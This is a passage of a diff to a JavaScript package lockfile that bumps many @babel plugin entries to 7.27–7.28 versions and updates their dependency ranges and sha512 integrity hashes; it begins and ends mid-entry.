"sha512-SOSkfJDddaM7mak6cPEpswyTRnuRltl429hMraQEglW+OkovnCzsiszTmsrlY//qLFjCpQDFRvjdm2wA5pPm9w=="], @@ -729,11 +751,7 @@ "@babel/plugin-syntax-class-static-block": ["@babel/plugin-syntax-class-static-block@7.14.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.14.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw=="], - "@babel/plugin-syntax-dynamic-import": ["@babel/plugin-syntax-dynamic-import@7.8.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.8.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ=="], - - "@babel/plugin-syntax-export-namespace-from": ["@babel/plugin-syntax-export-namespace-from@7.8.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.8.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MXf5laXo6c1IbEbegDmzGPwGNTsHZmEy6QGznu5Sh2UCWvueywb2ee+CCE4zQiZstxU9BMoQO9i6zUFSY0Kj0Q=="], - - "@babel/plugin-syntax-import-assertions": ["@babel/plugin-syntax-import-assertions@7.26.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-QCWT5Hh830hK5EQa7XzuqIkQU9tT/whqbDz7kuaZMHFl1inRRg7JnuAEOQ0Ur0QUl0NufCk1msK2BeY79Aj/eg=="], + "@babel/plugin-syntax-import-assertions": ["@babel/plugin-syntax-import-assertions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-UT/Jrhw57xg4ILHLFnzFpPDlMbcdEicaAtjPQpbj9wa8T4r5KVWCimHcL/460g8Ht0DMxDyjsLgiWSkVjnwPFg=="], "@babel/plugin-syntax-import-attributes": ["@babel/plugin-syntax-import-attributes@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-oFT0FrKHgF53f4vOsZGi2Hh3I35PfSmVs4IBFLFj4dnafP+hIWDLg3VyKmUHfLoLHlyxY4C7DGtmHuJgn+IGww=="], @@ -763,131 +781,131 @@ "@babel/plugin-syntax-unicode-sets-regex": ["@babel/plugin-syntax-unicode-sets-regex@7.18.6", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.18.6", "@babel/helper-plugin-utils": "^7.18.6" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-727YkEAPwSIQTv5im8QHz3upqp92JTWhidIC81Tdx4VJYIte/VndKf1qKrfnnhPLiPghStWfvC/iFaMCQu7Nqg=="], - "@babel/plugin-transform-arrow-functions": ["@babel/plugin-transform-arrow-functions@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-6jmooXYIwn9ca5/RylZADJ+EnSxVUS5sjeJ9UPk6RWRzXCmOJCy6dqItPJFpw2cuCangPK4OYr5uhGKcmrm5Qg=="], + "@babel/plugin-transform-arrow-functions": ["@babel/plugin-transform-arrow-functions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-8Z4TGic6xW70FKThA5HYEKKyBpOOsucTOD1DjU3fZxDg+K3zBJcXMFnt/4yQiZnf5+MiOMSXQ9PaEK/Ilh1DeA=="], - "@babel/plugin-transform-async-generator-functions": ["@babel/plugin-transform-async-generator-functions@7.26.8", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.26.5", "@babel/helper-remap-async-to-generator": "^7.25.9", "@babel/traverse": "^7.26.8" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-He9Ej2X7tNf2zdKMAGOsmg2MrFc+hfoAhd3po4cWfo/NWjzEAKa0oQruj1ROVUdl0e6fb6/kE/G3SSxE0lRJOg=="], + "@babel/plugin-transform-async-generator-functions": ["@babel/plugin-transform-async-generator-functions@7.28.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-remap-async-to-generator": "^7.27.1", "@babel/traverse": "^7.28.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-BEOdvX4+M765icNPZeidyADIvQ1m1gmunXufXxvRESy/jNNyfovIqUyE7MVgGBjWktCoJlzvFA1To2O4ymIO3Q=="], - "@babel/plugin-transform-async-to-generator": ["@babel/plugin-transform-async-to-generator@7.25.9", "", { "dependencies": { "@babel/helper-module-imports": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9", "@babel/helper-remap-async-to-generator": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-NT7Ejn7Z/LjUH0Gv5KsBCxh7BH3fbLTV0ptHvpeMvrt3cPThHfJfst9Wrb7S8EvJ7vRTFI7z+VAvFVEQn/m5zQ=="], + "@babel/plugin-transform-async-to-generator": ["@babel/plugin-transform-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-module-imports": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-remap-async-to-generator": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-NREkZsZVJS4xmTr8qzE5y8AfIPqsdQfRuUiLRTEzb7Qii8iFWCyDKaUV2c0rCuh4ljDZ98ALHP/PetiBV2nddA=="], - "@babel/plugin-transform-block-scoped-functions": ["@babel/plugin-transform-block-scoped-functions@7.26.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.26.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-chuTSY+hq09+/f5lMj8ZSYgCFpppV2CbYrhNFJ1BFoXpiWPnnAb7R0MqrafCpN8E1+YRrtM1MXZHJdIx8B6rMQ=="], + "@babel/plugin-transform-block-scoped-functions": ["@babel/plugin-transform-block-scoped-functions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-cnqkuOtZLapWYZUYM5rVIdv1nXYuFVIltZ6ZJ7nIj585QsjKM5dhL2Fu/lICXZ1OyIAFc7Qy+bvDAtTXqGrlhg=="], - "@babel/plugin-transform-block-scoping": ["@babel/plugin-transform-block-scoping@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-1F05O7AYjymAtqbsFETboN1NvBdcnzMerO+zlMyJBEz6WkMdejvGWw9p05iTSjC85RLlBseHHQpYaM4gzJkBGg=="], + "@babel/plugin-transform-block-scoping": ["@babel/plugin-transform-block-scoping@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-45DmULpySVvmq9Pj3X9B+62Xe+DJGov27QravQJU1LLcapR6/10i+gYVAucGGJpHBp5mYxIMK4nDAT/QDLr47g=="], - "@babel/plugin-transform-class-properties": ["@babel/plugin-transform-class-properties@7.25.9", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-bbMAII8GRSkcd0h0b4X+36GksxuheLFjP65ul9w6C3KgAamI3JqErNgSrosX6ZPj+Mpim5VvEbawXxJCyEUV3Q=="], + "@babel/plugin-transform-class-properties": ["@babel/plugin-transform-class-properties@7.27.1", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D0VcalChDMtuRvJIu3U/fwWjf8ZMykz5iZsg77Nuj821vCKI3zCyRLwRdWbsuJ/uRwZhZ002QtCqIkwC/ZkvbA=="], - "@babel/plugin-transform-class-static-block": ["@babel/plugin-transform-class-static-block@7.26.0", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.12.0" } }, "sha512-6J2APTs7BDDm+UMqP1useWqhcRAXo0WIoVj26N7kPFB6S73Lgvyka4KTZYIxtgYXiN5HTyRObA72N2iu628iTQ=="], + "@babel/plugin-transform-class-static-block": ["@babel/plugin-transform-class-static-block@7.28.3", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.28.3", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.12.0" } }, "sha512-LtPXlBbRoc4Njl/oh1CeD/3jC+atytbnf/UqLoqTDcEYGUPj022+rvfkbDYieUrSj3CaV4yHDByPE+T2HwfsJg=="], - "@babel/plugin-transform-classes": ["@babel/plugin-transform-classes@7.25.9", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.25.9", "@babel/helper-compilation-targets": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9", "@babel/helper-replace-supers": "^7.25.9", "@babel/traverse": "^7.25.9", "globals": "^11.1.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-mD8APIXmseE7oZvZgGABDyM34GUmK45Um2TXiBUt7PnuAxrgoSVf123qUzPxEr/+/BHrRn5NMZCdE2m/1F8DGg=="], + "@babel/plugin-transform-classes": ["@babel/plugin-transform-classes@7.28.4", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-globals": "^7.28.0", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/traverse": "^7.28.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-cFOlhIYPBv/iBoc+KS3M6et2XPtbT2HiCRfBXWtfpc9OAyostldxIf9YAYB6ypURBBbx+Qv6nyrLzASfJe+hBA=="], - "@babel/plugin-transform-computed-properties": ["@babel/plugin-transform-computed-properties@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9", "@babel/template": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-HnBegGqXZR12xbcTHlJ9HGxw1OniltT26J5YpfruGqtUHlz/xKf/G2ak9e+t0rVqrjXa9WOhvYPz1ERfMj23AA=="], + "@babel/plugin-transform-computed-properties": ["@babel/plugin-transform-computed-properties@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/template": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-lj9PGWvMTVksbWiDT2tW68zGS/cyo4AkZ/QTp0sQT0mjPopCmrSkzxeXkznjqBxzDI6TclZhOJbBmbBLjuOZUw=="], - "@babel/plugin-transform-destructuring": ["@babel/plugin-transform-destructuring@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-WkCGb/3ZxXepmMiX101nnGiU+1CAdut8oHyEOHxkKuS1qKpU2SMXE2uSvfz8PBuLd49V6LEsbtyPhWC7fnkgvQ=="], + "@babel/plugin-transform-destructuring": ["@babel/plugin-transform-destructuring@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Kl9Bc6D0zTUcFUvkNuQh4eGXPKKNDOJQXVyyM4ZAQPMveniJdxi8XMJwLo+xSoW3MIq81bD33lcUe9kZpl0MCw=="], - "@babel/plugin-transform-dotall-regex": ["@babel/plugin-transform-dotall-regex@7.25.9", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-t7ZQ7g5trIgSRYhI9pIJtRl64KHotutUJsh4Eze5l7olJv+mRSg4/MmbZ0tv1eeqRbdvo/+trvJD/Oc5DmW2cA=="], + "@babel/plugin-transform-dotall-regex": ["@babel/plugin-transform-dotall-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-gEbkDVGRvjj7+T1ivxrfgygpT7GUd4vmODtYpbs0gZATdkX8/iSnOtZSxiZnsgm1YjTgjI6VKBGSJJevkrclzw=="], - "@babel/plugin-transform-duplicate-keys": ["@babel/plugin-transform-duplicate-keys@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-LZxhJ6dvBb/f3x8xwWIuyiAHy56nrRG3PeYTpBkkzkYRRQ6tJLu68lEF5VIqMUZiAV7a8+Tb78nEoMCMcqjXBw=="], + "@babel/plugin-transform-duplicate-keys": ["@babel/plugin-transform-duplicate-keys@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MTyJk98sHvSs+cvZ4nOauwTTG1JeonDjSGvGGUNHreGQns+Mpt6WX/dVzWBHgg+dYZhkC4X+zTDfkTU+Vy9y7Q=="], - "@babel/plugin-transform-duplicate-named-capturing-groups-regex": ["@babel/plugin-transform-duplicate-named-capturing-groups-regex@7.25.9", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-0UfuJS0EsXbRvKnwcLjFtJy/Sxc5J5jhLHnFhy7u4zih97Hz6tJkLU+O+FMMrNZrosUPxDi6sYxJ/EA8jDiAog=="], + "@babel/plugin-transform-duplicate-named-capturing-groups-regex": ["@babel/plugin-transform-duplicate-named-capturing-groups-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-hkGcueTEzuhB30B3eJCbCYeCaaEQOmQR0AdvzpD4LoN0GXMWzzGSuRrxR2xTnCrvNbVwK9N6/jQ92GSLfiZWoQ=="], - "@babel/plugin-transform-dynamic-import": ["@babel/plugin-transform-dynamic-import@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-GCggjexbmSLaFhqsojeugBpeaRIgWNTcgKVq/0qIteFEqY2A+b9QidYadrWlnbWQUrW5fn+mCvf3tr7OeBFTyg=="], + "@babel/plugin-transform-dynamic-import": ["@babel/plugin-transform-dynamic-import@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MHzkWQcEmjzzVW9j2q8LGjwGWpG2mjwaaB0BNQwst3FIjqsg8Ct/mIZlvSPJvfi9y2AC8mi/ktxbFVL9pZ1I4A=="], "@babel/plugin-transform-explicit-resource-management": ["@babel/plugin-transform-explicit-resource-management@7.28.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/plugin-transform-destructuring": "^7.28.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-K8nhUcn3f6iB+P3gwCv/no7OdzOZQcKchW6N389V6PD8NUWKZHzndOd9sPDVbMoBsbmjMqlB4L9fm+fEFNVlwQ=="], - "@babel/plugin-transform-exponentiation-operator": ["@babel/plugin-transform-exponentiation-operator@7.26.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-7CAHcQ58z2chuXPWblnn1K6rLDnDWieghSOEmqQsrBenH0P9InCUtOJYD89pvngljmZlJcz3fcmgYsXFNGa1ZQ=="], + "@babel/plugin-transform-exponentiation-operator": ["@babel/plugin-transform-exponentiation-operator@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D4WIMaFtwa2NizOp+dnoFjRez/ClKiC2BqqImwKd1X28nqBtZEyCYJ2ozQrrzlxAFrcrjxo39S6khe9RNDlGzw=="], - "@babel/plugin-transform-export-namespace-from": ["@babel/plugin-transform-export-namespace-from@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-2NsEz+CxzJIVOPx2o9UsW1rXLqtChtLoVnwYHHiB04wS5sgn7mrV45fWMBX0Kk+ub9uXytVYfNP2HjbVbCB3Ww=="], + "@babel/plugin-transform-export-namespace-from": ["@babel/plugin-transform-export-namespace-from@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-tQvHWSZ3/jH2xuq/vZDy0jNn+ZdXJeM8gHvX4lnJmsc3+50yPlWdZXIc5ay+umX+2/tJIqHqiEqcJvxlmIvRvQ=="], - "@babel/plugin-transform-for-of": ["@babel/plugin-transform-for-of@7.26.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.26.5", "@babel/helper-skip-transparent-expression-wrappers": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Hry8AusVm8LW5BVFgiyUReuoGzPUpdHQQqJY5bZnbbf+ngOHWuCuYFKw/BqaaWlvEUrF91HMhDtEaI1hZzNbLg=="], + "@babel/plugin-transform-for-of": ["@babel/plugin-transform-for-of@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-BfbWFFEJFQzLCQ5N8VocnCtA8J1CLkNTe2Ms2wocj75dd6VpiqS5Z5quTYcUoo4Yq+DN0rtikODccuv7RU81sw=="], - "@babel/plugin-transform-function-name": ["@babel/plugin-transform-function-name@7.25.9", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9", "@babel/traverse": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-8lP+Yxjv14Vc5MuWBpJsoUCd3hD6V9DgBon2FVYL4jJgbnVQ9fTgYmonchzZJOVNgzEgbxp4OwAf6xz6M/14XA=="], + "@babel/plugin-transform-function-name": ["@babel/plugin-transform-function-name@7.27.1", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-1bQeydJF9Nr1eBCMMbC+hdwmRlsv5XYOMu03YSWFwNs0HsAmtSxxF1fyuYPqemVldVyFmlCU7w8UE14LupUSZQ=="], - "@babel/plugin-transform-json-strings": ["@babel/plugin-transform-json-strings@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-xoTMk0WXceiiIvsaquQQUaLLXSW1KJ159KP87VilruQm0LNNGxWzahxSS6T6i4Zg3ezp4vA4zuwiNUR53qmQAw=="], + "@babel/plugin-transform-json-strings": ["@babel/plugin-transform-json-strings@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-6WVLVJiTjqcQauBhn1LkICsR2H+zm62I3h9faTDKt1qP4jn2o72tSvqMwtGFKGTpojce0gJs+76eZ2uCHRZh0Q=="], - "@babel/plugin-transform-literals": ["@babel/plugin-transform-literals@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-9N7+2lFziW8W9pBl2TzaNht3+pgMIRP74zizeCSrtnSKVdUl8mAjjOP2OOVQAfZ881P2cNjDj1uAMEdeD50nuQ=="], + "@babel/plugin-transform-literals": ["@babel/plugin-transform-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-0HCFSepIpLTkLcsi86GG3mTUzxV5jpmbv97hTETW3yzrAij8aqlD36toB1D0daVFJM8NK6GvKO0gslVQmm+zZA=="], - "@babel/plugin-transform-logical-assignment-operators": ["@babel/plugin-transform-logical-assignment-operators@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-wI4wRAzGko551Y8eVf6iOY9EouIDTtPb0ByZx+ktDGHwv6bHFimrgJM/2T021txPZ2s4c7bqvHbd+vXG6K948Q=="], + "@babel/plugin-transform-logical-assignment-operators": ["@babel/plugin-transform-logical-assignment-operators@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-axUuqnUTBuXyHGcJEVVh9pORaN6wC5bYfE7FGzPiaWa3syib9m7g+/IT/4VgCOe2Upef43PHzeAvcrVek6QuuA=="], - "@babel/plugin-transform-member-expression-literals": ["@babel/plugin-transform-member-expression-literals@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-PYazBVfofCQkkMzh2P6IdIUaCEWni3iYEerAsRWuVd8+jlM1S9S9cz1dF9hIzyoZ8IA3+OwVYIp9v9e+GbgZhA=="], + "@babel/plugin-transform-member-expression-literals": ["@babel/plugin-transform-member-expression-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-hqoBX4dcZ1I33jCSWcXrP+1Ku7kdqXf1oeah7ooKOIiAdKQ+uqftgCFNOSzA5AMS2XIHEYeGFg4cKRCdpxzVOQ=="], - "@babel/plugin-transform-modules-amd": ["@babel/plugin-transform-modules-amd@7.25.9", "", { "dependencies": { "@babel/helper-module-transforms": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-g5T11tnI36jVClQlMlt4qKDLlWnG5pP9CSM4GhdRciTNMRgkfpo5cR6b4rGIOYPgRRuFAvwjPQ/Yk+ql4dyhbw=="], + "@babel/plugin-transform-modules-amd": ["@babel/plugin-transform-modules-amd@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-iCsytMg/N9/oFq6n+gFTvUYDZQOMK5kEdeYxmxt91fcJGycfxVP9CnrxoliM0oumFERba2i8ZtwRUCMhvP1LnA=="], - "@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.26.3", "", { "dependencies": { "@babel/helper-module-transforms": "^7.26.0", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MgR55l4q9KddUDITEzEFYn5ZsGDXMSsU9E+kh7fjRXTIC3RHqfCo8RPRbyReYJh44HQ/yomFkqbOFohXvDCiIQ=="], + "@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-OJguuwlTYlN0gBZFRPqwOGNWssZjfIUdS7HMYtN8c1KmwpwHFBwTeFZrg9XZa+DFTitWOW5iTAG7tyCUPsCCyw=="], - "@babel/plugin-transform-modules-systemjs": ["@babel/plugin-transform-modules-systemjs@7.25.9", "", { "dependencies": { "@babel/helper-module-transforms": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9", "@babel/helper-validator-identifier": "^7.25.9", "@babel/traverse": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-hyss7iIlH/zLHaehT+xwiymtPOpsiwIIRlCAOwBB04ta5Tt+lNItADdlXw3jAWZ96VJ2jlhl/c+PNIQPKNfvcA=="], + "@babel/plugin-transform-modules-systemjs": ["@babel/plugin-transform-modules-systemjs@7.28.5", "", { "dependencies": { "@babel/helper-module-transforms": "^7.28.3", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-vn5Jma98LCOeBy/KpeQhXcV2WZgaRUtjwQmjoBuLNlOmkg0fB5pdvYVeWRYI69wWKwK2cD1QbMiUQnoujWvrew=="], - "@babel/plugin-transform-modules-umd": ["@babel/plugin-transform-modules-umd@7.25.9", "", { "dependencies": { "@babel/helper-module-transforms": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-bS9MVObUgE7ww36HEfwe6g9WakQ0KF07mQF74uuXdkoziUPfKyu/nIm663kz//e5O1nPInPFx36z7WJmJ4yNEw=="], + "@babel/plugin-transform-modules-umd": ["@babel/plugin-transform-modules-umd@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-iQBE/xC5BV1OxJbp6WG7jq9IWiD+xxlZhLrdwpPkTX3ydmXdvoCpyfJN7acaIBZaOqTfr76pgzqBJflNbeRK+w=="], - "@babel/plugin-transform-named-capturing-groups-regex": ["@babel/plugin-transform-named-capturing-groups-regex@7.25.9", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-oqB6WHdKTGl3q/ItQhpLSnWWOpjUJLsOCLVyeFgeTktkBSCiurvPOsyt93gibI9CmuKvTUEtWmG5VhZD+5T/KA=="], + "@babel/plugin-transform-named-capturing-groups-regex": ["@babel/plugin-transform-named-capturing-groups-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-SstR5JYy8ddZvD6MhV0tM/j16Qds4mIpJTOd1Yu9J9pJjH93bxHECF7pgtc28XvkzTD6Pxcm/0Z73Hvk7kb3Ng=="], - "@babel/plugin-transform-new-target": ["@babel/plugin-transform-new-target@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-U/3p8X1yCSoKyUj2eOBIx3FOn6pElFOKvAAGf8HTtItuPyB+ZeOqfn+mvTtg9ZlOAjsPdK3ayQEjqHjU/yLeVQ=="], + "@babel/plugin-transform-new-target": ["@babel/plugin-transform-new-target@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-f6PiYeqXQ05lYq3TIfIDu/MtliKUbNwkGApPUvyo6+tc7uaR4cPjPe7DFPr15Uyycg2lZU6btZ575CuQoYh7MQ=="], - "@babel/plugin-transform-nullish-coalescing-operator": ["@babel/plugin-transform-nullish-coalescing-operator@7.26.6", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.26.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-CKW8Vu+uUZneQCPtXmSBUC6NCAUdya26hWCElAWh5mVSlSRsmiCPUUDKb3Z0szng1hiAJa098Hkhg9o4SE35Qw=="], + "@babel/plugin-transform-nullish-coalescing-operator": ["@babel/plugin-transform-nullish-coalescing-operator@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-aGZh6xMo6q9vq1JGcw58lZ1Z0+i0xB2x0XaauNIUXd6O1xXc3RwoWEBlsTQrY4KQ9Jf0s5rgD6SiNkaUdJegTA=="], - "@babel/plugin-transform-numeric-separator": ["@babel/plugin-transform-numeric-separator@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-TlprrJ1GBZ3r6s96Yq8gEQv82s8/5HnCVHtEJScUj90thHQbwe+E5MLhi2bbNHBEJuzrvltXSru+BUxHDoog7Q=="], + "@babel/plugin-transform-numeric-separator": ["@babel/plugin-transform-numeric-separator@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-fdPKAcujuvEChxDBJ5c+0BTaS6revLV7CJL08e4m3de8qJfNIuCc2nc7XJYOjBoTMJeqSmwXJ0ypE14RCjLwaw=="], - "@babel/plugin-transform-object-rest-spread": ["@babel/plugin-transform-object-rest-spread@7.25.9", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.25.9", "@babel/helper-plugin-utils": 